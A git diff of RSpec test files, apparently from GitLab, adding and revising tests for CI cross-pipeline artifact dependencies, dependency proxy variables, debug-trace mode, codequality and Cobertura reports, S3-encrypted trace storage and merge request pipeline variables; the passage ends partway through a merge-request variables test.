diff --git a/spec/models/ci/build_dependencies_spec.rb b/spec/models/ci/build_dependencies_spec.rb
index 4fa1b3eb5a5..c5f56dbe5bc 100644
--- a/spec/models/ci/build_dependencies_spec.rb
+++ b/spec/models/ci/build_dependencies_spec.rb
@@ -146,6 +146,204 @@ RSpec.describe Ci::BuildDependencies do
end
end
+ describe '#cross_pipeline' do
+ let!(:job) do
+ create(:ci_build,
+ pipeline: pipeline,
+ name: 'build_with_pipeline_dependency',
+ options: { cross_dependencies: dependencies })
+ end
+
+ subject { described_class.new(job) }
+
+ let(:cross_pipeline_deps) { subject.cross_pipeline }
+
+ context 'when dependency specifications are valid' do
+ context 'when pipeline exists in the hierarchy' do
+ let!(:pipeline) { create(:ci_pipeline, child_of: parent_pipeline) }
+ let!(:parent_pipeline) { create(:ci_pipeline, project: project) }
+
+ context 'when job exists' do
+ let(:dependencies) do
+ [{ pipeline: parent_pipeline.id.to_s, job: upstream_job.name, artifacts: true }]
+ end
+
+ let!(:upstream_job) { create(:ci_build, :success, pipeline: parent_pipeline) }
+
+ it { expect(cross_pipeline_deps).to contain_exactly(upstream_job) }
+ it { is_expected.to be_valid }
+
+ context 'when pipeline and job are specified via variables' do
+ let(:dependencies) do
+ [{ pipeline: '$parent_pipeline_ID', job: '$UPSTREAM_JOB', artifacts: true }]
+ end
+
+ before do
+ job.yaml_variables.push(key: 'parent_pipeline_ID', value: parent_pipeline.id.to_s, public: true)
+ job.yaml_variables.push(key: 'UPSTREAM_JOB', value: upstream_job.name, public: true)
+ job.save!
+ end
+
+ it { expect(cross_pipeline_deps).to contain_exactly(upstream_job) }
+ it { is_expected.to be_valid }
+ end
+
+ context 'when feature flag `ci_cross_pipeline_artifacts_download` is disabled' do
+ before do
+ stub_feature_flags(ci_cross_pipeline_artifacts_download: false)
+ end
+
+ it { expect(cross_pipeline_deps).to be_empty }
+ it { is_expected.to be_valid }
+ end
+ end
+
+ context 'when same job names exist in other pipelines in the hierarchy' do
+ let(:cross_pipeline_limit) do
+ ::Gitlab::Ci::Config::Entry::Needs::NEEDS_CROSS_PIPELINE_DEPENDENCIES_LIMIT
+ end
+
+ let(:sibling_pipeline) { create(:ci_pipeline, child_of: parent_pipeline) }
+
+ before do
+ cross_pipeline_limit.times do |index|
+ create(:ci_build, :success,
+ pipeline: parent_pipeline, name: "dependency-#{index}",
+ stage_idx: 1, stage: 'build', user: user
+ )
+
+ create(:ci_build, :success,
+ pipeline: sibling_pipeline, name: "dependency-#{index}",
+ stage_idx: 1, stage: 'build', user: user
+ )
+ end
+ end
+
+ let(:dependencies) do
+ [
+ { pipeline: parent_pipeline.id.to_s, job: 'dependency-0', artifacts: true },
+ { pipeline: parent_pipeline.id.to_s, job: 'dependency-1', artifacts: true },
+ { pipeline: parent_pipeline.id.to_s, job: 'dependency-2', artifacts: true },
+ { pipeline: sibling_pipeline.id.to_s, job: 'dependency-3', artifacts: true },
+ { pipeline: sibling_pipeline.id.to_s, job: 'dependency-4', artifacts: true },
+ { pipeline: sibling_pipeline.id.to_s, job: 'dependency-5', artifacts: true }
+ ]
+ end
+
+ it 'returns a limited number of dependencies with the right match' do
+ expect(job.options[:cross_dependencies].size).to eq(cross_pipeline_limit.next)
+ expect(cross_pipeline_deps.size).to eq(cross_pipeline_limit)
+ expect(cross_pipeline_deps.map { |dep| [dep.pipeline_id, dep.name] }).to contain_exactly(
+ [parent_pipeline.id, 'dependency-0'],
+ [parent_pipeline.id, 'dependency-1'],
+ [parent_pipeline.id, 'dependency-2'],
+ [sibling_pipeline.id, 'dependency-3'],
+ [sibling_pipeline.id, 'dependency-4'])
+ end
+ end
+
+ context 'when job does not exist' do
+ let(:dependencies) do
+ [{ pipeline: parent_pipeline.id.to_s, job: 'non-existent', artifacts: true }]
+ end
+
+ it { expect(cross_pipeline_deps).to be_empty }
+ it { is_expected.not_to be_valid }
+ end
+ end
+
+ context 'when pipeline does not exist' do
+ let(:dependencies) do
+ [{ pipeline: '123', job: 'non-existent', artifacts: true }]
+ end
+
+ it { expect(cross_pipeline_deps).to be_empty }
+ it { is_expected.not_to be_valid }
+ end
+
+ context 'when jobs exist in different pipelines in the hierarchy' do
+ let!(:pipeline) { create(:ci_pipeline, child_of: parent_pipeline) }
+ let!(:parent_pipeline) { create(:ci_pipeline, project: project) }
+ let!(:parent_job) { create(:ci_build, :success, name: 'parent_job', pipeline: parent_pipeline) }
+
+ let!(:sibling_pipeline) { create(:ci_pipeline, child_of: parent_pipeline) }
+ let!(:sibling_job) { create(:ci_build, :success, name: 'sibling_job', pipeline: sibling_pipeline) }
+
+ context 'when pipeline and jobs dependencies are mismatched' do
+ let(:dependencies) do
+ [
+ { pipeline: parent_pipeline.id.to_s, job: sibling_job.name, artifacts: true },
+ { pipeline: sibling_pipeline.id.to_s, job: parent_job.name, artifacts: true }
+ ]
+ end
+
+ it { expect(cross_pipeline_deps).to be_empty }
+ it { is_expected.not_to be_valid }
+
+ context 'when dependencies contain a valid pair' do
+ let(:dependencies) do
+ [
+ { pipeline: parent_pipeline.id.to_s, job: sibling_job.name, artifacts: true },
+ { pipeline: sibling_pipeline.id.to_s, job: parent_job.name, artifacts: true },
+ { pipeline: sibling_pipeline.id.to_s, job: sibling_job.name, artifacts: true }
+ ]
+ end
+
+ it 'filters out the invalid ones' do
+ expect(cross_pipeline_deps).to contain_exactly(sibling_job)
+ end
+
+ it { is_expected.not_to be_valid }
+ end
+ end
+ end
+
+ context 'when job and pipeline exist outside the hierarchy' do
+ let!(:pipeline) { create(:ci_pipeline, project: project) }
+ let!(:another_pipeline) { create(:ci_pipeline, project: project) }
+ let!(:dependency) { create(:ci_build, :success, pipeline: another_pipeline) }
+
+ let(:dependencies) do
+ [{ pipeline: another_pipeline.id.to_s, job: dependency.name, artifacts: true }]
+ end
+
+ it 'ignores jobs outside the pipeline hierarchy' do
+ expect(cross_pipeline_deps).to be_empty
+ end
+
+ it { is_expected.not_to be_valid }
+ end
+
+ context 'when current pipeline is specified' do
+ let!(:pipeline) { create(:ci_pipeline, project: project) }
+ let!(:dependency) { create(:ci_build, :success, pipeline: pipeline) }
+
+ let(:dependencies) do
+ [{ pipeline: pipeline.id.to_s, job: dependency.name, artifacts: true }]
+ end
+
+ it 'ignores jobs from the current pipeline as simple needs should be used instead' do
+ expect(cross_pipeline_deps).to be_empty
+ end
+
+ it { is_expected.not_to be_valid }
+ end
+ end
+
+ context 'when artifacts:false' do
+ let!(:pipeline) { create(:ci_pipeline, child_of: parent_pipeline) }
+ let!(:parent_pipeline) { create(:ci_pipeline, project: project) }
+ let!(:parent_job) { create(:ci_build, :success, name: 'parent_job', pipeline: parent_pipeline) }
+
+ let(:dependencies) do
+ [{ pipeline: parent_pipeline.id.to_s, job: parent_job.name, artifacts: false }]
+ end
+
+ it { expect(cross_pipeline_deps).to be_empty }
+ it { is_expected.to be_valid } # we simply ignore it
+ end
+ end
+
describe '#all' do
let!(:job) do
create(:ci_build, pipeline: pipeline, name: 'deploy', stage_idx: 3, stage: 'deploy')
@@ -155,9 +353,9 @@ RSpec.describe Ci::BuildDependencies do
subject { dependencies.all }
- it 'returns the union of all local dependencies and any cross pipeline dependencies' do
+ it 'returns the union of all local dependencies and any cross project dependencies' do
expect(dependencies).to receive(:local).and_return([1, 2, 3])
- expect(dependencies).to receive(:cross_pipeline).and_return([3, 4])
+ expect(dependencies).to receive(:cross_project).and_return([3, 4])
expect(subject).to contain_exactly(1, 2, 3, 4)
end
diff --git a/spec/models/ci/build_spec.rb b/spec/models/ci/build_spec.rb
index 5ff9b4dd493..9f412d64d56 100644
--- a/spec/models/ci/build_spec.rb
+++ b/spec/models/ci/build_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe Ci::Build do
status: 'success')
end
- let(:build) { create(:ci_build, pipeline: pipeline) }
+ let_it_be(:build, refind: true) { create(:ci_build, pipeline: pipeline) }
it { is_expected.to belong_to(:runner) }
it { is_expected.to belong_to(:trigger_request) }
@@ -307,8 +307,6 @@ RSpec.describe Ci::Build do
end
describe '.without_needs' do
- let!(:build) { create(:ci_build) }
-
subject { described_class.without_needs }
context 'when no build_need is created' do
@@ -1151,12 +1149,26 @@ RSpec.describe Ci::Build do
end
context 'when transits to skipped' do
- before do
- build.skip!
+ context 'when cd_skipped_deployment_status is disabled' do
+ before do
+ stub_feature_flags(cd_skipped_deployment_status: false)
+ build.skip!
+ end
+
+ it 'transits deployment status to canceled' do
+ expect(deployment).to be_canceled
+ end
end
- it 'transits deployment status to canceled' do
- expect(deployment).to be_canceled
+ context 'when cd_skipped_deployment_status is enabled' do
+ before do
+ stub_feature_flags(cd_skipped_deployment_status: project)
+ build.skip!
+ end
+
+ it 'transits deployment status to skipped' do
+ expect(deployment).to be_skipped
+ end
end
end
@@ -2005,6 +2017,8 @@ RSpec.describe Ci::Build do
end
context 'when ci_build_metadata_config is disabled' do
+ let(:build) { create(:ci_build, pipeline: pipeline) }
+
before do
stub_feature_flags(ci_build_metadata_config: false)
end
@@ -2392,6 +2406,7 @@ RSpec.describe Ci::Build do
before do
stub_container_registry_config(enabled: container_registry_enabled, host_port: 'registry.example.com')
+ stub_config(dependency_proxy: { enabled: true })
end
subject { build.variables }
@@ -2409,6 +2424,8 @@ RSpec.describe Ci::Build do
{ key: 'CI_REGISTRY_USER', value: 'gitlab-ci-token', public: true, masked: false },
{ key: 'CI_REGISTRY_PASSWORD', value: 'my-token', public: false, masked: true },
{ key: 'CI_REPOSITORY_URL', value: build.repo_url, public: false, masked: false },
+ { key: 'CI_DEPENDENCY_PROXY_USER', value: 'gitlab-ci-token', public: true, masked: false },
+ { key: 'CI_DEPENDENCY_PROXY_PASSWORD', value: 'my-token', public: false, masked: true },
{ key: 'CI_JOB_JWT', value: 'ci.job.jwt', public: false, masked: true },
{ key: 'CI_JOB_NAME', value: 'test', public: true, masked: false },
{ key: 'CI_JOB_STAGE', value: 'test', public: true, masked: false },
@@ -2441,6 +2458,11 @@ RSpec.describe Ci::Build do
{ key: 'CI_DEFAULT_BRANCH', value: project.default_branch, public: true, masked: false },
{ key: 'CI_PAGES_DOMAIN', value: Gitlab.config.pages.host, public: true, masked: false },
{ key: 'CI_PAGES_URL', value: project.pages_url, public: true, masked: false },
+ { key: 'CI_DEPENDENCY_PROXY_SERVER', value: "#{Gitlab.config.gitlab.host}:#{Gitlab.config.gitlab.port}", public: true, masked: false },
+ { key: 'CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX',
+ value: "#{Gitlab.config.gitlab.host}:#{Gitlab.config.gitlab.port}/#{project.namespace.root_ancestor.path}#{DependencyProxy::URL_SUFFIX}",
+ public: true,
+ masked: false },
{ key: 'CI_API_V4_URL', value: 'http://localhost/api/v4', public: true, masked: false },
{ key: 'CI_PIPELINE_IID', value: pipeline.iid.to_s, public: true, masked: false },
{ key: 'CI_PIPELINE_SOURCE', value: pipeline.source, public: true, masked: false },
@@ -2502,6 +2524,7 @@ RSpec.describe Ci::Build do
let(:project_pre_var) { { key: 'project', value: 'value', public: true, masked: false } }
let(:pipeline_pre_var) { { key: 'pipeline', value: 'value', public: true, masked: false } }
let(:build_yaml_var) { { key: 'yaml', value: 'value', public: true, masked: false } }
+ let(:dependency_proxy_var) { { key: 'dependency_proxy', value: 'value', public: true, masked: false } }
let(:job_jwt_var) { { key: 'CI_JOB_JWT', value: 'ci.job.jwt', public: false, masked: true } }
let(:job_dependency_var) { { key: 'job_dependency', value: 'value', public: true, masked: false } }
@@ -2511,6 +2534,7 @@ RSpec.describe Ci::Build do
allow(build).to receive(:persisted_variables) { [] }
allow(build).to receive(:job_jwt_variables) { [job_jwt_var] }
allow(build).to receive(:dependency_variables) { [job_dependency_var] }
+ allow(build).to receive(:dependency_proxy_variables) { [dependency_proxy_var] }
allow(build.project)
.to receive(:predefined_variables) { [project_pre_var] }
@@ -2523,7 +2547,8 @@ RSpec.describe Ci::Build do
it 'returns variables in order depending on resource hierarchy' do
is_expected.to eq(
- [job_jwt_var,
+ [dependency_proxy_var,
+ job_jwt_var,
build_pre_var,
project_pre_var,
pipeline_pre_var,
@@ -2730,7 +2755,11 @@ RSpec.describe Ci::Build do
pipeline.update!(tag: true)
end
- it { is_expected.to include(tag_variable) }
+ it do
+ build.reload
+
+ expect(subject).to include(tag_variable)
+ end
end
context 'when CI variable is defined' do
@@ -2964,8 +2993,11 @@ RSpec.describe Ci::Build do
end
context 'when pipeline variable overrides build variable' do
+ let(:build) do
+ create(:ci_build, pipeline: pipeline, yaml_variables: [{ key: 'MYVAR', value: 'myvar', public: true }])
+ end
+
before do
- build.yaml_variables = [{ key: 'MYVAR', value: 'myvar', public: true }]
pipeline.variables.build(key: 'MYVAR', value: 'pipeline value')
end
@@ -3281,9 +3313,12 @@ RSpec.describe Ci::Build do
end
context 'when overriding user-provided variables' do
+ let(:build) do
+ create(:ci_build, pipeline: pipeline, yaml_variables: [{ key: 'MY_VAR', value: 'myvar', public: true }])
+ end
+
before do
pipeline.variables.build(key: 'MY_VAR', value: 'pipeline value')
- build.yaml_variables = [{ key: 'MY_VAR', value: 'myvar', public: true }]
end
it 'returns a hash including variable with higher precedence' do
@@ -3640,7 +3675,7 @@ RSpec.describe Ci::Build do
end
it 'handles raised exception' do
- expect { subject.drop! }.not_to raise_exception(Gitlab::Access::AccessDeniedError)
+ expect { subject.drop! }.not_to raise_error
end
it 'logs the error' do
@@ -4045,13 +4080,72 @@ RSpec.describe Ci::Build do
end
end
+ context 'when there is a Cobertura coverage report with class filename paths not relative to project root' do
+ before do
+ allow(build.project).to receive(:full_path).and_return('root/javademo')
+ allow(build.pipeline).to receive(:all_worktree_paths).and_return(['src/main/java/com/example/javademo/User.java'])
+
+ create(:ci_job_artifact, :coverage_with_paths_not_relative_to_project_root, job: build, project: build.project)
+ end
+
+ it 'parses blobs and add the results to the coverage report with corrected paths' do
+ expect { subject }.not_to raise_error
+
+ expect(coverage_report.files.keys).to match_array(['src/main/java/com/example/javademo/User.java'])
+ end
+
+ context 'and smart_cobertura_parser feature flag is disabled' do
+ before do
+ stub_feature_flags(smart_cobertura_parser: false)
+ end
+
+ it 'parses blobs and add the results to the coverage report with unmodified paths' do
+ expect { subject }.not_to raise_error
+
+ expect(coverage_report.files.keys).to match_array(['com/example/javademo/User.java'])
+ end
+ end
+ end
+
context 'when there is a corrupted Cobertura coverage report' do
before do
create(:ci_job_artifact, :coverage_with_corrupted_data, job: build, project: build.project)
end
it 'raises an error' do
- expect { subject }.to raise_error(Gitlab::Ci::Parsers::Coverage::Cobertura::CoberturaParserError)
+ expect { subject }.to raise_error(Gitlab::Ci::Parsers::Coverage::Cobertura::InvalidLineInformationError)
+ end
+ end
+ end
+ end
+
+ describe '#collect_codequality_reports!' do
+ subject(:codequality_report) { build.collect_codequality_reports!(Gitlab::Ci::Reports::CodequalityReports.new) }
+
+ it { expect(codequality_report.degradations).to eq({}) }
+
+ context 'when build has a codequality report' do
+ context 'when there is a codequality report' do
+ before do
+ create(:ci_job_artifact, :codequality, job: build, project: build.project)
+ end
+
+ it 'parses blobs and add the results to the codequality report' do
+ expect { codequality_report }.not_to raise_error
+
+ expect(codequality_report.degradations_count).to eq(3)
+ end
+ end
+
+ context 'when there is an codequality report without errors' do
+ before do
+ create(:ci_job_artifact, :codequality_without_errors, job: build, project: build.project)
+ end
+
+ it 'parses blobs and add the results to the codequality report' do
+ expect { codequality_report }.not_to raise_error
+
+ expect(codequality_report.degradations_count).to eq(0)
end
end
end
@@ -4639,4 +4733,78 @@ RSpec.describe Ci::Build do
expect(action).not_to have_received(:perform!)
end
end
+
+ describe '#debug_mode?' do
+ subject { build.debug_mode? }
+
+ context 'when feature is disabled' do
+ before do
+ stub_feature_flags(restrict_access_to_build_debug_mode: false)
+ end
+
+ it { is_expected.to eq false }
+
+ context 'when in variables' do
+ before do
+ create(:ci_instance_variable, key: 'CI_DEBUG_TRACE', value: 'true')
+ end
+
+ it { is_expected.to eq false }
+ end
+ end
+
+ context 'when CI_DEBUG_TRACE=true is in variables' do
+ context 'when in instance variables' do
+ before do
+ create(:ci_instance_variable, key: 'CI_DEBUG_TRACE', value: 'true')
+ end
+
+ it { is_expected.to eq true }
+ end
+
+ context 'when in group variables' do
+ before do
+ create(:ci_group_variable, key: 'CI_DEBUG_TRACE', value: 'true', group: project.group)
+ end
+
+ it { is_expected.to eq true }
+ end
+
+ context 'when in pipeline variables' do
+ before do
+ create(:ci_pipeline_variable, key: 'CI_DEBUG_TRACE', value: 'true', pipeline: pipeline)
+ end
+
+ it { is_expected.to eq true }
+ end
+
+ context 'when in project variables' do
+ before do
+ create(:ci_variable, key: 'CI_DEBUG_TRACE', value: 'true', project: project)
+ end
+
+ it { is_expected.to eq true }
+ end
+
+ context 'when in job variables' do
+ before do
+ create(:ci_job_variable, key: 'CI_DEBUG_TRACE', value: 'true', job: build)
+ end
+
+ it { is_expected.to eq true }
+ end
+
+ context 'when in yaml variables' do
+ before do
+ build.update!(yaml_variables: [{ key: :CI_DEBUG_TRACE, value: 'true' }])
+ end
+
+ it { is_expected.to eq true }
+ end
+ end
+
+ context 'when CI_DEBUG_TRACE is not in variables' do
+ it { is_expected.to eq false }
+ end
+ end
end
diff --git a/spec/models/ci/build_trace_chunk_spec.rb b/spec/models/ci/build_trace_chunk_spec.rb
index dce7b1d30ca..75ed5939724 100644
--- a/spec/models/ci/build_trace_chunk_spec.rb
+++ b/spec/models/ci/build_trace_chunk_spec.rb
@@ -91,7 +91,7 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state do
end
describe 'CHUNK_SIZE' do
- it 'Chunk size can not be changed without special care' do
+ it 'chunk size can not be changed without special care' do
expect(described_class::CHUNK_SIZE).to eq(128.kilobytes)
end
end
diff --git a/spec/models/ci/build_trace_chunks/fog_spec.rb b/spec/models/ci/build_trace_chunks/fog_spec.rb
index 20ca0c8b710..bc96e2584cf 100644
--- a/spec/models/ci/build_trace_chunks/fog_spec.rb
+++ b/spec/models/ci/build_trace_chunks/fog_spec.rb
@@ -74,6 +74,52 @@ RSpec.describe Ci::BuildTraceChunks::Fog do
expect(data_store.data(model)).to eq new_data
end
+
+ context 'when S3 server side encryption is enabled' do
+ before do
+ config = Gitlab.config.artifacts.object_store.to_h
+ config[:storage_options] = { server_side_encryption: 'AES256' }
+ allow(data_store).to receive(:object_store_raw_config).and_return(config)
+ end
+
+ it 'creates a file with attributes' do
+ expect_next_instance_of(Fog::AWS::Storage::Files) do |files|
+ expect(files).to receive(:create).with(
+ hash_including(
+ key: anything,
+ body: new_data,
+ 'x-amz-server-side-encryption' => 'AES256')
+ ).and_call_original
+ end
+
+ expect(data_store.data(model)).to be_nil
+
+ data_store.set_data(model, new_data)
+
+ expect(data_store.data(model)).to eq new_data
+ end
+
+ context 'when ci_live_trace_use_fog_attributes flag is disabled' do
+ before do
+ stub_feature_flags(ci_live_trace_use_fog_attributes: false)
+ end
+
+ it 'does not pass along Fog attributes' do
+ expect_next_instance_of(Fog::AWS::Storage::Files) do |files|
+ expect(files).to receive(:create).with(
+ key: anything,
+ body: new_data
+ ).and_call_original
+ end
+
+ expect(data_store.data(model)).to be_nil
+
+ data_store.set_data(model, new_data)
+
+ expect(data_store.data(model)).to eq new_data
+ end
+ end
+ end
end
end
diff --git a/spec/models/ci/job_artifact_spec.rb b/spec/models/ci/job_artifact_spec.rb
index 26851c93ac3..ef21ca8f100 100644
--- a/spec/models/ci/job_artifact_spec.rb
+++ b/spec/models/ci/job_artifact_spec.rb
@@ -96,6 +96,22 @@ RSpec.describe Ci::JobArtifact do
end
end
+ describe '.codequality_reports' do
+ subject { described_class.codequality_reports }
+
+ context 'when there is a codequality report' do
+ let!(:artifact) { create(:ci_job_artifact, :codequality) }
+
+ it { is_expected.to eq([artifact]) }
+ end
+
+ context 'when there are no codequality reports' do
+ let!(:artifact) { create(:ci_job_artifact, :archive) }
+
+ it { is_expected.to be_empty }
+ end
+ end
+
describe '.terraform_reports' do
context 'when there is a terraform report' do
it 'return the job artifact' do
diff --git a/spec/models/ci/pipeline_spec.rb b/spec/models/ci/pipeline_spec.rb
index 1ca370dc950..f5e824bb066 100644
--- a/spec/models/ci/pipeline_spec.rb
+++ b/spec/models/ci/pipeline_spec.rb
@@ -222,6 +222,26 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
end
+ describe '.for_branch' do
+ subject { described_class.for_branch(branch) }
+
+ let(:branch) { 'master' }
+ let!(:pipeline) { create(:ci_pipeline, ref: 'master') }
+
+ it 'returns the pipeline' do
+ is_expected.to contain_exactly(pipeline)
+ end
+
+ context 'with tag pipeline' do
+ let(:branch) { 'v1.0' }
+ let!(:pipeline) { create(:ci_pipeline, ref: 'v1.0', tag: true) }
+
+ it 'returns nothing' do
+ is_expected.to be_empty
+ end
+ end
+ end
+
describe '.ci_sources' do
subject { described_class.ci_sources }
@@ -242,6 +262,27 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
end
+ describe '.ci_branch_sources' do
+ subject { described_class.ci_branch_sources }
+
+ let_it_be(:push_pipeline) { create(:ci_pipeline, source: :push) }
+ let_it_be(:web_pipeline) { create(:ci_pipeline, source: :web) }
+ let_it_be(:api_pipeline) { create(:ci_pipeline, source: :api) }
+ let_it_be(:webide_pipeline) { create(:ci_pipeline, source: :webide) }
+ let_it_be(:child_pipeline) { create(:ci_pipeline, source: :parent_pipeline) }
+ let_it_be(:merge_request_pipeline) { create(:ci_pipeline, :detached_merge_request_pipeline) }
+
+ it 'contains pipelines having CI only sources' do
+ expect(subject).to contain_exactly(push_pipeline, web_pipeline, api_pipeline)
+ end
+
+ it 'filters on expected sources' do
+ expect(::Enums::Ci::Pipeline.ci_branch_sources.keys).to contain_exactly(
+ *%i[unknown push web trigger schedule api external pipeline chat
+ external_pull_request_event])
+ end
+ end
+
describe '.outside_pipeline_family' do
subject(:outside_pipeline_family) { described_class.outside_pipeline_family(upstream_pipeline) }
@@ -269,7 +310,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
let!(:older_other_pipeline) { create(:ci_pipeline, project: project) }
let!(:upstream_pipeline) { create(:ci_pipeline, project: project) }
- let!(:child_pipeline) { create(:ci_pipeline, project: project) }
+ let!(:child_pipeline) { create(:ci_pipeline, child_of: upstream_pipeline) }
let!(:other_pipeline) { create(:ci_pipeline, project: project) }
@@ -498,6 +539,16 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
end
end
+ context 'when pipeline has a codequality report' do
+ subject { described_class.with_reports(Ci::JobArtifact.codequality_reports) }
+
+ let(:pipeline_with_report) { create(:ci_pipeline, :with_codequality_reports) }
+
+ it 'selects the pipeline' do
+ is_expected.to eq([pipeline_with_report])
+ end
+ end
+
context 'when pipeline has a terraform report' do
it 'selects the pipeline' do
pipeline_with_report = create(:ci_pipeline, :with_terraform_reports)
@@ -744,11 +795,7 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
]
end
- context 'when pipeline is merge request' do
- let(:pipeline) do
- create(:ci_pipeline, merge_request: merge_request)
- end
-
+ context 'when merge request is present' do
let(:merge_request) do
create(:merge_request,
source_project: project,
@@ -764,64 +811,142 @@ RSpec.describe Ci::Pipeline, :mailer, factory_default: :keep do
let(:milestone) { create(:milestone, project: project) }
let(:labels) { create_list(:label, 2) }
- it 'exposes merge request pipeline variables' do
- expect(subject.to_hash)
- .to include(
- 'CI_MERGE_REQUEST_ID' => merge_request.id.to_s,
- 'CI_MERGE_REQUEST_IID' => merge_request.iid.to_s,
- 'CI_MERGE_REQUEST_REF_PATH' => merge_request.ref_path.to_s,
- 'CI_MERGE_REQUEST_PROJECT_ID' => merge_request.project.id.to_s,
- 'CI_MERGE_REQUEST_PROJECT_PATH' => merge_request.project.full_path,
- 'CI_MERGE_REQUEST_PROJECT_URL' => merge_request.project.web_url,
- 'CI_MERGE_REQUEST_TARGET_BRANCH_NAME' => merge_request.target_branch.to_s,
- 'CI_MERGE_REQUEST_TARGET_BRANCH_SHA' => pipeline.target_sha.to_s,
- 'CI_MERGE_REQUEST_SOURCE_PROJECT_ID' => merge_request.source_project.id.to_s,
- 'CI_MERGE_REQUEST_SOURCE_PROJECT_PATH' => merge_request.source_project.full_path,
- 'CI_MERGE_REQUEST_SOURCE_PROJECT_URL' => merge_request.source_project.web_url,
- 'CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' => merge_request.source_branch.to_s,
- 'CI_MERGE_REQUEST_SOURCE_BRANCH_SHA' => pipeline.source_sha.to_s,
- 'CI_MERGE_REQUEST_TITLE' => merge_request.title,
- 'CI_MERGE_REQUEST_ASSIGNEES' => merge_request.assignee_username_list,
- 'CI_MERGE_REQUEST_MILESTONE' => milestone.title,
- 'CI_MERGE_REQUEST_LABELS' => labels.map(&:title).sort.join(','),
- 'CI_MERGE_REQUEST_EVENT_TYPE' => pipeline.merge_request_event_type.to_s)
- end
-
- context 'when source project does not exist' do
+ context 'when pipeline for merge request is created' do
+ let(:pipeline) do
+ create(:ci_pipeline, :detached_merge_request_pipeline,
+ ci_ref_presence: false,
+ user: user,
+ merge_request: merge_request)
+ end
+
before do
- merge_request.update_column(:source_project_id, nil)
+ project.add_developer(user)
end
- it 'does not expose source project related variables' do
- expect(subject.to_hash.keys).not_to include(
- %w[CI_MERGE_REQUEST_SOURCE_PROJECT_ID
- CI_MERGE_REQUEST_SOURCE_PROJECT_PATH
- CI_MERGE_REQUEST_SOURCE_PROJECT_URL
- CI_MERGE_REQUEST_SOURCE_BRANCH_NAME])
+ it 'exposes merge request pipeline variables' do
+ expect(subject.to_hash)
+ .to include(
+ 'CI_MERGE_REQUEST_ID' => merge_request.id.to_s,
+ 'CI_MERGE_REQUEST_IID' => merge_request.iid.to_s,
+ 'CI_MERGE_REQUEST_REF_PATH' => merge_request.ref_path.to_s,
+ 'CI_MERGE_REQUEST_PROJECT_ID' => merge_request.project.id.to_s,
+ 'CI_MERGE_REQUEST_PROJECT_PATH' => merge_request.project.full_path,
+ 'CI_MERGE_REQUEST_PROJECT_URL' => merge_request.project.web_url,
+ 'CI_MERGE_REQUEST_TARGET_BRANCH_NAME' => merge_request.target_branch.to_s,
+ 'CI_MERGE_REQUEST_TARGET_BRANCH_SHA' => '',
+ 'CI_MERGE_REQUEST_SOURCE_PROJECT_ID' => merge_request.source_project.id.to_s,
+ 'CI_MERGE_REQUEST_SOURCE_PROJECT_PATH' => merge_request.source_project.full_path,
+ 'CI_MERGE_REQUEST_SOURCE_PROJECT_URL' => merge_request.source_project.web_url,
+ 'CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' => merge_request.source_branch.to_s,
+ 'CI_MERGE_REQUEST_SOURCE_BRANCH_SHA' => '',
+ 'CI_MERGE_REQUEST_TITLE' => merge_request.title,
+ 'CI_MERGE_REQUEST_ASSIGNEES' => merge_request.assignee_username_list,
+ 'CI_MERGE_REQUEST_MILESTONE' => milestone.title,
+ 'CI_MERGE_REQUEST_LABELS' => labels.map(&:title).sort.join(','),
+ 'CI_MERGE_REQUEST_EVENT_TYPE' => 'detached',
+ 'CI_OPEN_MERGE_REQUESTS' => merge_request.to_reference(full: true))
+ end
+
+ it 'exposes diff variables' do
+ expect(subject.to_hash)
+ .to include(
+ 'CI_MERGE_REQUEST_DIFF_ID' => merge_request.merge_request_diff.id.to_s,
+ 'CI_MERGE_REQUEST_DIFF_BASE_SHA' => merge_request.merge_request_diff.base_commit_sha)
+ end
+
+ context 'without assignee' do
+ let(:assignees) { [] }
+
+ it 'does not expose assignee variable' do
+ expect(subject.to_hash.keys).not_to include('CI_MERGE_REQUEST_ASSIGNEES')
+ end
end
- end
- context 'without assignee' do
- let(:assignees) { [] }
+ context 'without milestone' do
+ let(:milestone) { nil }
- it 'does not expose assignee variable' do
- expect(subject.to_hash.keys).not_to include('CI_MERGE_REQUEST_ASSIGNEES')
+ it 'does not expose milestone variable' do
+ expect(subject.to_hash.keys).not_to include('CI_MERGE_REQUEST_MILESTONE')
+ end
+ end
+
+ context 'without labels' do
+ let(:labels) { [] }
+
+ it 'does not expose labels variable' do
+ expect(subject.to_hash.keys).not_to include('CI_MERGE_REQUEST_LABELS')
+ end
end
end
- context 'without milestone' do
- let(:milestone) { nil }
+ context 'when pipeline on branch is created' do
+ let(:pipeline) do
+ create(:ci_pipeline, project: project, user: user, ref: 'feature')
+ end
+
+ context 'when a merge request is created' do
+ before do
+ merge_request
+ end
- it 'does not expose milestone variable' do
- expect(subject.to_hash.keys).not_to include('CI_MERGE_REQUEST_MILESTONE')
+ context 'when user has access to project' do
+ before do
+ project.add_developer(user)
+ end
+
+ it 'merge request references are returned matching the pipeline' do
+ expect(subject.to_hash).to include(
+ 'CI_OPEN_MERGE_REQUESTS' => merge_request.to_reference(full: true))
+ end
+ end
+
+ context 'when user does not have access to project' do
+ it 'CI_OPEN_MERGE_REQUESTS is not returned' do
+ expect(subject.to_hash).not_to have_key('CI_OPEN_MERGE_REQUESTS')
+ end
+ end
+ end
+
+ context 'when no a merge request is created' do
+ it 'CI_OPEN_MERGE_REQUESTS is not returned' do
+ expect(subject.to_hash).not_to have_key('CI_OPEN_MERGE_REQUESTS')
+ end
end
end
- context 'without labels' do
- let(:labels) { [] }
+ context 'with merged results' do
+ let(:pipeline) do
+ create(:ci_pipeline, :merged_result_pipeline, merge_request: merge_request)
+ end
+
+ it 'exposes merge request pipeline variables' do
+ expect(subject.to_hash)
+ .to include(
+ 'CI_MERGE_REQUEST_ID' => merge_request.id.to_s,
+ 'CI_MERGE_REQUEST_IID' => merge_request.iid.to_s,
+ 'CI_MERGE_REQUEST_REF_PATH' => merge_request.ref_path.to_s,
